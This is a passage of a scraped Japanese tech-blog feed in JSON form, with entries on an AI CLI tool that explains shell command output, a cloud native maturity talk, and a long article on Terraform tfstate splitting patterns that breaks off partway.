Nagasawa","authorId":"toVersus"},{"title":"CLIの実行結果を正しく理解することを促すツールを作成しました。","contentSnippet":"概要AIの技術は目覚ましい進歩を遂げています。特に自然言語処理（NLP）の分野では、GPT-4のようなモデルが人間に近いレベルで文章を理解し、生成することができるようになりました。しかし、これらのモデルを日々の業務や作業にどのように活用すればよいのか、多くの人々がまだ手探りの状態です。一方、コマンドラインは、システム管理者やソフトウェア開発者にとって重要なツールです。コマンドラインからシステムの状態を調べたり、プログラムを実行したりするためには、これらで利用するコマンドの理解とそれらを十分に使いこなすことが必要です。netflixtechblog.comアフィリエイトでも何でもなく運用で利用するコマンドについてはLinuCなどもあるので教材を読むだけでもおすすめしたい。linuc.orgでは、AIがコマンドプロンプトの結果を理解し、それを人間がより理解しやすい形で説明することができたら、どうでしょうか？ここで、AICommandを紹介します。AICommandは、コマンドプロンプトの実行とその結果の解釈を統合したツールであり、AIの力を借りてコマンドプロンプトの結果を理解する新しい試みです。今回の記事では、このAICommandについて詳しく見ていきましょう。シェルコマンドの実行とその結果をOpenAIのGPTモデルに結果を送信し解説を要求するGo製CLIツールです。コマンドの処理状況も視覚的に表示します。 pic.twitter.com/5q6jqyWbsx— nwiizo (@nwiizo) 2023年7月18日 AICommandの紹介AICommandは、コマンドプロンプトの結果を人間が理解しやすい形に解釈するための新しいツールです。OpenAIの強力な自然言語処理モデルを使用して、コマンドラインから得られた情報を詳細に解析し、その結果を説明します。これにより、複雑なコマンドの実行結果も、非専門家でも簡単に理解できるようになります。github.comコマンドプロンプトは非常に強力で、システムの管理やデータの分析には欠かせないツールですが、その結果を正しく理解するには専門知識が必要で、学習コストが高いという課題がありました。しかし、AICommandを使えば、そのハードルが大きく下がります。たとえば、システムのログを確認するためのコマンドを実行した結果を、AIが解釈し、重要なポイントをハイライトしてくれます。さらに、その結果がどういう意味を持つのか、何が原因でそうなったのかといった情報も提供してくれます。このように、AICommandは、AIの能力を利用して、コマンドプロンプトの利用をより手軽で、より理解しやすいものに変えることを目指しています。ソフトウェア開発者やシステム管理者だけでなく、コマンドラインを利用するすべての人々にとって、新たな可能性を広げるツールとなることを目指します。option で日本語にも対応してます。 pic.twitter.com/AkEHh5syPx— nwiizo (@nwiizo) 2023年7月19日 Setup \uD83D\uDD27AICommandはGo言語で書かれているため、Goの開発環境が必要です。まず、Goがまだインストールされていない場合は、公式のインストールガイドに従ってGoをインストールしてください。Install aicommandGoがインストールされたら、次にAICommandをインストールします。go install github.com/nwiizo/aicommand@latestSet the your_api_keyAICommandはOpenAIのGPTモデルを使用しますので、OpenAIのAPIキーが必要となります。OpenAIのアカウントを持っていてAPIキーを取得済みの場合は、そのAPIキーを使用します。まだAPIキーを取得していない場合は、OpenAIの公式ドキュメントを参照してAPIキーを取得してください。APIキーを取得したら、そのキーを環境変数 OPENAI_API_KEYに設定します。設定方法は以下の通りです：export OPENAI_API_KEY=your_api_keyUsage ⏳コマンドの実行とその結果の解釈を行うには、次のように execute コマンドに続けて実行したいコマンドを引数として与えます。コマンドは(ダブル)クオーテーションで囲む必要があります。aicommand execute \\"your-shell-command\\"たとえば、ディレクトリの内容をリストする ls -la コマンドの結果を解釈させたい場合は、次のように実行します。aicommand execute \\"ls -la\\"すると、AICommandは ls -la コマンドを実行し、その結果を解釈して人間が理解しやすい形で説明します。また、解釈結果の言語を指定したい場合は、 --language または-lオプションを使用します。現在、英語（en）と日本語（ja）がサポートされています。デフォルトの言語は英語です。aicommand execute --language ja \\"ls -la\\"さらに、使用するGPTモデルを指定することも可能です。これは --model または -m オプションで指定します。デフォルトは gpt-3.5-turbo です。aicommand execute --model gpt-3.5-turbo \\"ls -la\\"これでAICommandの基本的な使用方法について説明しました。コマンドプロンプトの結果の解釈がこれまで以上に手軽になり、より深い理解が可能になります。AICommandの可能性\uD83E\uDD16AICommandは、私たちが普段利用しているコマンドプロンプトをOpenAIのGPTモデルと組み合わせることで新たな可能性を生み出します。たとえば、複雑なコマンドを実行した結果の意味を理解することが困難な場合や、ログの解析、データ分析などで結果をより深く理解するための手助けとなります。また、様々なプログラムやスクリプトの実行結果を人間が理解できる形で説明してくれるため、デバッグやエラー解析の作業を効率化することが可能です。AICommandを利用すれば、テクニカルな知識がなくてもコマンドラインから得られる情報を理解しやすくなるかもしれません。結論\uD83E\uDDBEAICommandは、AIとCLI（Command Line Interface）の架け橋となるツールであり、この2つの強力なテクノロジーを組み合わせることで、未知の課題に対して新たな視点を提供します。さまざまなバックグラウンドを持つユーザーがコマンドラインから得られる情報をより容易に理解できるようになることで、これまで手が出せなかった問題に取り組む手助けをしてくれるでしょう。しかし、その一方で、AICommandはコマンドプロンプトの出力を人間が理解できる形で解釈するツールであるため、その解釈は絶対的な真実を表すものではありません。AICommandの解釈結果は参考の一つと考え、最終的な意思決定はユーザー自身の判断に任せるべきです。以上のことを念頭に置いて、AICommandを活用すれば、新たな視点からコマンドラインの世界を探索することが可能になるでしょう。ソフトウェア開発にChatGPTは使えるのか？――設計からコーディングまでAIの限界を探る作者:小野 哲技術評論社AmazonCloudNative Days Fukuoka 2023 にて登壇余談なのですが\\"k8sgpt Deep Dive: KubernetesクラスタのAI駆動型分析について” というタイトルで登壇を行います。event.cloudnativedays.jp参考AI時代に向けたクラウドにおける信頼性エンジニアリングの未来構想 / DICOMO2022 6A-1AICommand GitHubリポジトリOpenAIsashabaranov/go-openai","link":"https://syu-m-5151.hatenablog.com/entry/2023/07/19/162657","isoDate":"2023-07-19T07:26:57.000Z","dateMiliSeconds":1689751617000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"成熟度モデルを活用したCloud Nativeへの道筋 という副題で登壇します #開発生産性con_findy","contentSnippet":"概要開発生産性Conferenceというイベントに『Cloud Native の作法 - 成熟度モデルを活用したCloud Nativeへの道筋』というタイトルで登壇しました。生産性に関するイベントなんですけど現場のエンジニアをやっている僕には開発生産性について語ることってあんまりないようなーって思いながら最近、成熟度モデルについて調べていたのでこのタイトルにしました。途中で開発生産性について語るのを諦めてガッツリ資料を作り直しましたので生暖かく見守ってください。あと、ちょっと前に書籍を送って頂きましたが\uD83D\uDCD6 Twitter での告知を忘れていたのでしておきます。読んだ感想としては入門書では決してないですが成熟度モデルでいうとレベル2の段階では読んでほしいと思う書籍になります。また、豊富にドキュメントへのリンクが貼ってあるのでKubernetesという荒野に道を示す地図になると思います(この文章はChatGPTではなく俺が生成した)。Kubernetesの知識地図 —— 現場での基礎から本番運用まで作者:青山 真也,小竹 智士,長谷川 誠,川部 勝也,岩井 佑樹,杉浦 智基技術評論社Amazon資料登壇資料になります。このブログの目的は参考資料をいちいち探さなくていいようにありますのでご活用ください。 speakerdeck.com参考文献Cloud Native Maturity ModelCloud Native TransformationDesign Patterns for Cloud Native ApplicationsIntro to the Cloud Native Maturity Model - Danielle Cook, Simon Forster, Robbie Glenn & John FormanSRE サイトリライアビリティエンジニアリングが”ザックリ”「すっきり」分かる本: Googleが実践している新DevOps方法論SRE サイトリライアビリティエンジニアリングサイトリライアビリティワークブックCloud Native成熟度モデルがWeb公開されましたWhat\'s the Difference Between DevOps and SRE?Solving Reliability Fears with Site Reliability EngineeringReliability When Everything Is a Platform: Why You Need to SRE Your CustomersThe History of DevOps ReportsEffective DevOpsPlatform\xa0Engineeringへの招待Platform Team と 社内政治 〜 出でよ、Platform Champion 〜 / Platform Team and Internal Politics - Platform Engineering Meetup\xa0#2Platform Engineering at\xa0MercariEMPOWERED 普通のチームが並外れた製品を生み出すプロダクトリーダーシッププロダクトマネジメントのすべて 事業戦略・IT開発・UXデザイン・マーケティングからチーム・組織運営まで正しいものを正しくつくる　プロダクトをつくるとはどういうことなのか、あるいはアジャイルのその先についてエンジニアリング組織論への招待　～不確実性に向き合う思考と組織のリファクタリング","link":"https://syu-m-5151.hatenablog.com/entry/2023/07/13/131433","isoDate":"2023-07-13T04:14:33.000Z","dateMiliSeconds":1689221673000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"OpenAI APIを利用してパブリッククラウドの権限要約をしてくれるCLIコマンドを作成した","contentSnippet":"はじめに Sreake事業部の橋本です。前回の記事から引き続き、OpenAIのGPTモデルを利用してDevOps、SREの領域でのtext AIの有効活用を考えていきます。 運用の自動化、構築支援などに活用できると嬉しい […]The post OpenAI APIを利用してパブリッククラウドの権限要約をしてくれるCLIコマンドを作成した first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/summarize-permission-with-openai/","isoDate":"2023-07-11T07:01:52.000Z","dateMiliSeconds":1689058912000,"authorName":"Sreake","authorId":"Sreake"},{"title":"メールが届いたら Google Home で音声で通知する","contentSnippet":"以前、「 LINE に送ったメッセージを Google Home に読み上げさせる」という記事を書きました。 その時に作ったものに家にあるラズパイで Cloud PubSub を subscribe してメッセージが届いたらその内容を Text-to-Speach で","link":"https://blog.1q77.com/2023/07/ses-lambda-and-cloud-pubsub/","isoDate":"2023-07-10T14:25:35.000Z","dateMiliSeconds":1688999135000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"【Terraform\uD83E\uDDD1‍\uD83D\uDE80】tfstateファイルの分割パターンとディレクトリ構成への適用","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️Terraformのtfstateファイルを分割する目的と、オススメの分割パターンについて (★)Terraformのリポジトリやリモートバックエンドのディレクトリ構成の設計について記事のざっくりした内容は、以下のスライドからキャッチアップできちゃいます！ この記事から得られる知識01. はじめに02. なぜ tfstate ファイルを分割するのか分割していない場合分割している場合分割しなくていい場合03. tfstate ファイルの分割分割の境界状態の依存関係図依存関係図とは依存関係の表現▼ 依存関係の表現記法▼ 依存関係がない場合▼ 依存関係がある場合04. tfstate ファイルに基づくその他の設計リポジトリ \uD83D\uDC31 の設計リポジトリ分割ディレクトリ \uD83D\uDCC2 構成リモートバックエンド \uD83E\uDEA3 の設計リモートバックエンド分割ディレクトリ構成05. 状態の依存関係の定義方法terraform_remote_stateブロックの場合terraform_remote_stateブロックによる依存状態の依存関係図リポジトリのディレクトリ構成リモートバックエンドのディレクトリ構成AWSリソース別のdataブロックの場合AWSリソース別のdataブロックによる依存状態の依存関係図リポジトリのディレクトリ構成リモートバックエンドのディレクトリ構成06. tfstate ファイルの分割パターンオススメな設計の一覧大分類 (上層/下層/中間層) とディレクトリ構成の関係リポジトリの場合リモートバックエンドの場合07. 上層の分割 (推奨)上層の分割についてプロバイダーのアカウント別 - ★★★この分割方法について【プロバイダーアカウント別】状態の依存関係図【プロバイダーアカウント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【プロバイダーアカウント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合08. 下層の分割 (推奨)下層の分割について実行環境別 - ★★★この分割方法について【実行環境別】状態の依存関係図【実行環境別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【実行環境別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンド x AWSアカウント別に異なる実行環境 の場合▼ 同じリモートバックエンド x 単一のAWSアカウント内に全ての実行環境 の場合09. 中間層の分割 (任意)中間層の分割について運用チーム責務範囲別 - ★★この分割方法について【チーム別】状態の依存関係図【チーム別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【チーム別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合プロダクトのサブコンポーネント別 - ★★この分割方法について【サブコンポーネント別】状態の依存関係図【サブコンポーネント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【サブコンポーネント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合運用チーム責務範囲別 \xd7 プロダクトサブコンポーネント別 - ★この分割方法について【チーム別 \xd7 サブコンポーネント別】状態の依存関係図【チーム別 \xd7 サブコンポーネント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【チーム別 \xd7 サブコンポーネント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合同じテナント内のプロダクト別この分割方法について【同じテナント内のプロダクト】状態の依存関係図【同じテナント内のプロダクト】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【同じテナント内のプロダクト】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合AWSリソースの種類グループ別この分割方法について【種類グループ別】状態の依存関係図【種類グループ別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【種類グループ別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合AWSリソースの状態の変更頻度グループ別この分割方法について【変更頻度グループ別】状態の依存関係図【変更頻度グループ別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【変更頻度グループ別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合10. おわりに謝辞01. はじめに前世でもう少し徳を積んでいれば、Mitchell Hashimoto として生まれることができたのに!!さて最近の業務で、全プロダクトの技術基盤開発チームに携わっており、チームが使っているTerraform\uD83E\uDDD1\uD83C\uDFFB‍\uD83D\uDE80のリポジトリをリプレイスする作業を担当しました。このリポジトリでは単一のtfstateファイルが状態を持ち過ぎている課題を抱えていたため、課題に合った適切な分割パターンでリプレイスしました。今回は、この時に整理した分割パターン (AWS向け) を記事で解説しました。もちろん、GoogleCloudやAzureでも読み換えていただければ、同じように適用できます。知る限りの分割パターンを記載したところ、情報量がエグいことになってしまったため、気になる分割パターンだけ拾って帰っていただけるとハッピーです\uD83D\uDE4Fそれでは、もりもり布教していきます\uD83D\uDE1702. なぜ tfstate ファイルを分割するのか%%{init: { \'theme\': \\"default\\", \'themeVariables\': { \'commitLabelFontSize\': \'13px\' }}}%%gitGraph commit id: \\"8c8e6\\" commit id: \\"0e3c3\\" branch feature/foo checkout feature/foo commit id: \\"4e9e8\\" commit id: \\"da005\\" checkout main branch feature/bar commit id: \\"2d52f\\" checkout main commit id: \\"e74d6\\" branch feature/baz commit id: \\"f6881\\"分割していない場合そもそも、なぜtfstateファイルを分割する必要があるのでしょうか。tfstateファイルを分割しなかったと仮定します。様々なインフラコンポーネントを単一のtfstateファイルで状態を持つ場合、1回のterraformコマンド全てのコンポーネントの状態を操作できて楽です。ただし、複数の作業ブランチがある状況だと煩わしいことが起こります。各作業ブランチでインフラコンポーネントの状態を変更しかけていると、terraformコマンドでtargetオプションが必要になります。単一のtfstateファイルで管理するコンポーネントが多くなるほど、この問題は顕著になります。分割している場合その一方で、tfstateファイルをいい感じに分割したと仮定します。各作業ブランチでは、まるで暗黙的にtargetオプションがついたように、他の作業ブランチから影響を受けずにterraformコマンドを実行できます。よって、各tfstateファイルを操作できる管理者は互いに影響を受けずに、terraformコマンドの結果を得られるようになります。Terraform: Up & Running: Writing Infrastructure As CodeOrganizing With Multiple States - DevOps with Terraform - CloudCasts分割しなくていい場合運用ルールや開発者人数が理由で作業が衝突せず、targetオプションが必要ない状況であれば、tfstateファイルは分割しなくてもよいでしょう。tfstateファイルを分割するメリットが少ないです\uD83D\uDE45\uD83C\uDFFB‍03. tfstate ファイルの分割分割の境界それでは、tfstateファイルの分割の境界はどのようにして見つければよいのでしょうか。これを見つけるコツは、できるだけ相互に依存しないインフラリソースの関係 に注目することだと考えています。ここでいう依存とは、tfstateファイルが他のtfstateファイルの状態を使用することです。状態をほとんど使用し合わないインフラリソース同士を、異なるtfstateファイルで管理します。異なるtfstateファイルで管理できる分割パターンについては後述します。アーキテクチャの文脈では、他を使用することを『依存』と表現します。そのため便宜上、tfstateファイルでも同じ用語で表現することにしました。@tmknom さんが述べている通り、Terraformをよりよく設計するためには、『ソフトウェアの基礎知識』が必要です\uD83D\uDC4D状態の依存関係図依存関係図とは分割したtfstateファイル間の状態の依存関係を表現した図です。プロバイダーのアカウントの状態をtfstateファイルで管理していることを想像してみてください。%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWSアカウント foo[\\"tfstateファイル\\"] end似たものとしてterraform graphコマンドによるグラフがありますが、これはインフラリソース間の依存関係図です。tfstateファイル間で相互に依存関係があるからといって、個別のインフラリソース間で循環参照が起こってしまうというわけではないです。続いて、依存関係がある場合と無い場合で、どのような依存関係図になるかを紹介していきます。Command: graph | Terraform | HashiCorp Developer依存関係の表現▼ 依存関係の表現記法tfstateファイル間で状態の依存関係がある場合、これを図で表現すると分割の状況がわかりやすくなります。『依存』は、---> (波線矢印) で表現することとします。設定値の参照数が少ないほどよいです。依存関係がある場合については、後述します。アーキテクチャの文脈では、『依存』を---> (波線矢印) で表現します。そのため便宜上、tfstateファイルでも同じ記号で表現することにしました\uD83D\uDC4D▼ 依存関係がない場合例えば、AWSリソースからなるプロダクトをいくつかのtfstateファイル (foo-tfstate、bar-tfstate) に分割したと仮定します。ここで仮定した状況では、 tfstate ファイル間に依存関係はないとします。そのため、想定される状態の依存関係図は以下の通りになります。tfstateファイル間に依存関係がない状況がベストです。---title: tfstateファイル間に依存関係はない---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWSアカウント foo[\\"foo-tfstate\\"] bar[\\"bar-tfstate\\"] end▼ 依存関係がある場合同様に分割したと仮定します。ここで仮定した状況では、 foo-tfstate ➡︎ bar-tfstate の方向に依存しているとします。そのため、---> (波線矢印) を使用して、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: foo-tfstateファイルは、bar-tfstateファイルに依存---%%{init:{\'theme\':\'default\'}}%%flowchart TD subgraph AWSアカウント foo[\\"foo-tfstate\\"] bar[\\"bar-tfstate\\"] end foo -. 依存 .-> bar04. tfstate ファイルに基づくその他の設計リポジトリ \uD83D\uDC31 の設計リポジトリ分割ここまでで、tfstateファイル分割について簡単に紹介しました。リポジトリの分割は、tfstateファイル分割に基づいて設計しましょう。異なるリポジトリにtfstateファイルをおいた方がよい場合については、分割パターン で説明しています。\uD83D\uDC31 foo-repository/├── backend.tf # fooコンポーネントの状態を持つ tfstate ファイルを指定する...\uD83D\uDC31 bar-repository/├── backend.tf # barコンポーネントの状態を持つ tfstate ファイルを指定する...ディレクトリ \uD83D\uDCC2 構成リポジトリ内のディレクトリ構成も、tfstateファイル分割に基づいて設計しましょう。率直に言うと、Terraformのディレクトリ構成のパターンは無数にあります。そのため、基準なしにディレクトリ構成を考えると何でもあり になってしまいます。その一方で、tfstateファイル分割に基づいて設計することにより、明確なディレクトリ構成パターン として抽出可能になります。\uD83D\uDC31 repository/├── \uD83D\uDCC2 foo/│ ├── backend.tf # fooコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 bar/ ├── backend.tf # barコンポーネントの状態を持つ tfstate ファイルを指定する ...Terraformには、そのリポジトリ内だけでブロック (例：resource、data) のセットを使い回すことを目的とした、ローカルモジュールがあります。今回、これのディレクトリ構成は設計に含めていません。混同しやすいのですが、tfstateファイル分割に基づくディレクトリ構成とローカルモジュール内のそれは、全く別のテーマとして切り離して考えることができます\uD83D\uDC4Dリモートバックエンド \uD83E\uDEA3 の設計リモートバックエンド分割本記事では、リモートバックエンドとしてAWS S3バケットを使用することを想定しています。リモートバックエンドの分割は、tfstateファイル分割に基づいて設計しましょう。異なるリモートバックエンドにtfstateファイルをおいた方がよい場合については、分割パターン で説明しています。\uD83E\uDEA3 foo-bucket/│└── terraform.tfstate # fooコンポーネントの状態を持つ\uD83E\uDEA3 bar-bucket/│└── terraform.tfstate # barコンポーネントの状態を持つディレクトリ構成リモートバックエンド内のディレクトリ構成も、tfstateファイル分割に基づいて設計しましょう。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 foo/│ └── terraform.tfstate # fooコンポーネントの状態を持つ│└── \uD83D\uDCC2 bar/ └── terraform.tfstate # barコンポーネントの状態を持つ05. 状態の依存関係の定義方法terraform_remote_stateブロックの場合terraform_remote_stateブロックによる依存terraform_remote_stateブロックには、以下のメリデメがあります。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 可読性 - terraform_remote_stateブロックに加えてoutputブロックも実装が必要であり、outputブロックは依存先のAWSリソースが一見してわかりにくい。 拡張性 依存先のAWSリソースに関わらず、同じterraform_remote_stateブロックを使い回せる。 - 保守性 - 依存先と依存元の間でTerraformのバージョンに差がありすぎると、tfstateファイル間で互換性がなくなり、terraform_remote_stateブロックの処理が失敗する。 本記事では、 terraform_remote_state ブロックを使用して、状態の依存関係を定義 していきます。tfstateファイルが他のtfstateファイルに依存する方法として、後述のAWSリソース別のdataブロックがあります。The terraform_remote_state Data Source | Terraform | HashiCorp Developer状態の依存関係図例えば、AWSリソースからなるプロダクトをいくつかのtfstateファイル (foo-tfstate、bar-tfstate) に分割したと仮定します。ここで仮定した状況では、bar-tfstateファイルはVPCの状態を持っており、 foo-tfstate ファイルは bar-tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: terraform_remote_stateブロックを使用した依存関係---%%{init:{\'theme\':\'default\'}}%%flowchart TD subgraph bucket foo[\\"foo-tfstate\\"] bar[\\"bar-tfstate\\"] end foo -. VPCの状態に依存 .-> barリポジトリのディレクトリ構成tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。ディレクトリの設計方法は、分割パターン で説明しています。\uD83D\uDC31 repository/├── \uD83D\uDCC2 foo/│ ├── backend.tf # fooコンポーネントの状態を持つ tfstate ファイルを指定する│ ├── remote_state.tf # terraform_remote_stateブロックを使用し、bar-tfstate ファイルに依存する│ ├── provider.tf│ ...│└── \uD83D\uDCC2 bar/ ├── backend.tf # barコンポーネントの状態を持つ tfstate ファイルを指定する ├── output.tf # 他の tfstate ファイルから依存される ├── provider.tf ...foo-tfstateファイルがbar-tfstateファイルに依存するために必要な実装は、以下の通りになります。resource \\"example\\" \\"foo\\" { # fooリソースは、bar-tfstate ファイルのVPCに依存する vpc_id = data.terraform_remote_state.bar.outputs.bar_vpc_id ...}data \\"terraform_remote_state\\" \\"bar\\" { backend = \\"s3\\" config = { bucket = \\"tfstate\\" key = \\"bar/terraform.tfstate\\" region = \\"ap-northeast-1\\" }}# VPCの状態は、bar-tfstate ファイルで持つoutput \\"bar_vpc_id\\" { value = aws_vpc.bar.id}resource \\"aws_vpc\\" \\"bar\\" { ...}リモートバックエンドのディレクトリ構成tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 foo│ └── terraform.tfstate # fooコンポーネントの状態を持つ│└── \uD83D\uDCC2 bar └── terraform.tfstate # barコンポーネントの状態を持つAWSリソース別のdataブロックの場合AWSリソース別のdataブロックによる依存dataブロックには、以下のメリデメがあります。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 可読性 依存先のAWSリソースがわかりやすい。 - 拡張性 - 依存先のAWSリソース別にdataブロックが必要である。 保守性 依存先と依存元の間でTerraformのバージョンに差があっても、tfstateファイル間で直接的に依存するわけではないため、バージョン差の影響を受けない。 - 今回は使用しませんが、依存関係の他の定義方法として、AWSリソース別のdataブロックがあります。これは、tfstateファイルが自身以外 (例：コンソール画面、他のtfstateファイル) で作成されたAWSリソースの状態に依存するために使用できます。terraform_remote_stateブロックとは異なり、直接的にはtfstateファイルに依存しません。dataブロックの場合は、実際のAWSリソースの状態に依存することにより、間接的にAWSリソースのtfstateファイルに依存することになります。Data Sources - Configuration Language | Terraform | HashiCorp Developer状態の依存関係図例えば、dataブロックも同様にして、AWSリソースからなるプロダクトをいくつかのtfstateファイル (foo-tfstate、bar-tfstate) に分割したと仮定します。ここで仮定した状況では、bar-tfstateファイルはVPCの状態を持っており、 foo-tfstate ファイルは bar-tfstate ファイルに依存しているとします。想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: dataブロックを使用した依存関係---%%{init:{\'theme\':\'default\'}}%%flowchart TD subgraph bucket foo[\\"foo-tfstate\\"] bar[\\"bar-tfstate\\"] end foo -. VPCの状態に依存 .-> barリポジトリのディレクトリ構成ディレクトリ構成は、tfstateファイル分割に基づいて、以下の通りになります。\uD83D\uDC31 repository/├── \uD83D\uDCC2 foo/│ ├── backend.tf # fooコンポーネントの状態を持つ tfstate ファイルを指定する│ ├── data.tf # dataブロックを使用し、bar-tfstate ファイルに依存する│ ├── provider.tf│ ...│└── \uD83D\uDCC2 bar/ ├── backend.tf # barコンポーネントの状態を持つ tfstate ファイルを指定する ├── provider.tf ...foo-tfstateファイルがbar-tfstateファイルに依存するために必要な実装は、以下の通りになります。# fooリソースの状態は、foo-tfstate ファイルで持つresource \\"example\\" \\"foo\\" { # fooリソースは、bar-tfstate ファイルのVPCに依存する vpc_id = data.aws_vpc.bar.id}# VPCの状態は、bar-tfstate ファイルで持つdata \\"aws_vpc\\" \\"bar\\" { filter { name = \\"tag:Name\\" values = [\\"\\"] }}リモートバックエンドのディレクトリ構成tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 foo│ └── terraform.tfstate # fooコンポーネントの状態を持つ│└── \uD83D\uDCC2 bar └── terraform.tfstate # barコンポーネントの状態を持つ06. tfstate ファイルの分割パターンオススメな設計の一覧前述の通り、tfstateファイルの分割の境界は、『他の状態にできるだけ依存しないリソースの関係』から見つけることができます。分割しすぎると terraform_remote_stateブロック地獄 になるため、細かすぎず粗すぎない適切な境界を見つけていきましょう。今回は、私が考える分割パターンをいくつか紹介します。全てが実用的なパターンというわけでないため、オススメするものを ★ としています。推奨・任意 tfstate分割パターン大分類 tfstate分割パターン小分類オススメ 対応するリポジトリ構成 \uD83D\uDC31 対応するリモートバックエンド構成 \uD83E\uDEA3 推奨 上層 プロバイダーのアカウント別 ★★★ リポジトリ自体または上層ディレクトリ リモートバックエンド自体または上層ディレクトリ 下層実行環境別 ★★★ 下層ディレクトリ 下層ディレクトリ 任意 中間層 運用チーム責務範囲別 ★★ 中間層ディレクトリ 中間層ディレクトリ プロダクトのサブコンポーネント別 ★★ 運用チーム責務範囲別\xd7プロダクトのサブコンポーネント別(組み合わせ) ★ 同じテナント内のプロダクト別 AWSリソースの種類グループ別 AWSリソースの状態の変更頻度グループ別 大分類 (上層/下層/中間層) とディレクトリ構成の関係リポジトリの場合記事内のここ で、リポジトリ内のディレクトリ構成はtfstateファイル分割に基づいて設計するべき、という説明をしました。tfstateファイルの分割パターンは、上層/下層/中間層 の層に大別できます。これらの層は、以下の通りリポジトリ自体・ディレクトリ構成の設計方法に影響します。# リポジトリ自体を分割する場合\uD83D\uDC31 上層/├── \uD83D\uDCC2 中間層/│ ├── \uD83D\uDCC2 下層/│ │ ├── backend.tfvars # 分割された tfstate ファイルを指定する│ │ ...│ │...# リポジトリ内のディレクトリを分割する場合\uD83D\uDC31 リポジトリ/├── \uD83D\uDCC2 上層/│ ├── \uD83D\uDCC2 中間層/│ │ ├── \uD83D\uDCC2 下層/│ │ │ ├── backend.tfvars # 分割された tfstate ファイルを指定する│ │ │ ...│ │ │...リモートバックエンドの場合記事内のここ で、リモートバックエンドのディレクトリ構成についても言及しました。これらの層は、以下の通りリモートバックエンド自体・ディレクトリ構成の設計方法に影響します。# リモートバックエンド自体を分割する場合\uD83E\uDEA3 上層/├── \uD83D\uDCC2 中間層/│ ├── \uD83D\uDCC2 下層/│ │ └── terraform.tfstate # 分割された状態を持つ│ ││ │...# リモートバックエンド内のディレクトリを分割する場合\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 上層/│ ├── \uD83D\uDCC2 中間層/│ │ ├── \uD83D\uDCC2 下層/│ │ │ └── terraform.tfstate # 分割された状態を持つ│ │ ││ │ │...07. 上層の分割 (推奨)上層の分割について上層の分割は 推奨 です。Terraformに携わる管理者の数が少なくても採用した方がよいです。tfstateファイルをパターンに応じて分割し、これに基づいてディレクトリ・リモートバックエンドも設計しましょう。プロバイダーのアカウント別 - ★★★この分割方法について上層分割の中でも、基本的な方法の1つです。プロバイダーのアカウント別にtfstateファイルを分割し、上層もこれに基づいて設計します。この分割方法により、各プロバイダーの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。tfstateファイルで状態を管理せざるを得ない場合があります。例えば、Kubernetesのプロバイダーは、EKSと同じtfstateファイルで管理した方がよいです\uD83D\uDC4DTerraform Registry【プロバイダーアカウント別】状態の依存関係図例えば、以下のプロバイダーを使用したい状況と仮定します。主要プロバイダー (AWS)アプリ/インフラ監視プロバイダー (Datadog)ジョブ監視プロバイダー (Healthchecks)インシデント管理プロバイダー (PagerDuty)ここで仮定した状況では、各プロバイダーの tfstate ファイル間で状態が相互に依存しているとします。AWSリソース間の相互依存ではないため、循環参照は起こりません。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: プロバイダーのアカウント別---%%{init:{\'theme\':\'default\'}}%%flowchart LR subgraph PagerDuty pagerDuty[\\"tfstate\\"] end subgraph Healthchecks healthchecks[\\"tfstate\\"] end subgraph Datadog datadog[\\"tfstate\\"] end subgraph AWS aws[\\"tfstate\\"] end aws -...-> datadog aws -...-> healthchecks aws -...-> pagerDuty datadog -...-> aws healthchecks -...-> aws pagerDuty -...-> aws【プロバイダーアカウント別】リポジトリのディレクトリ構成▼ 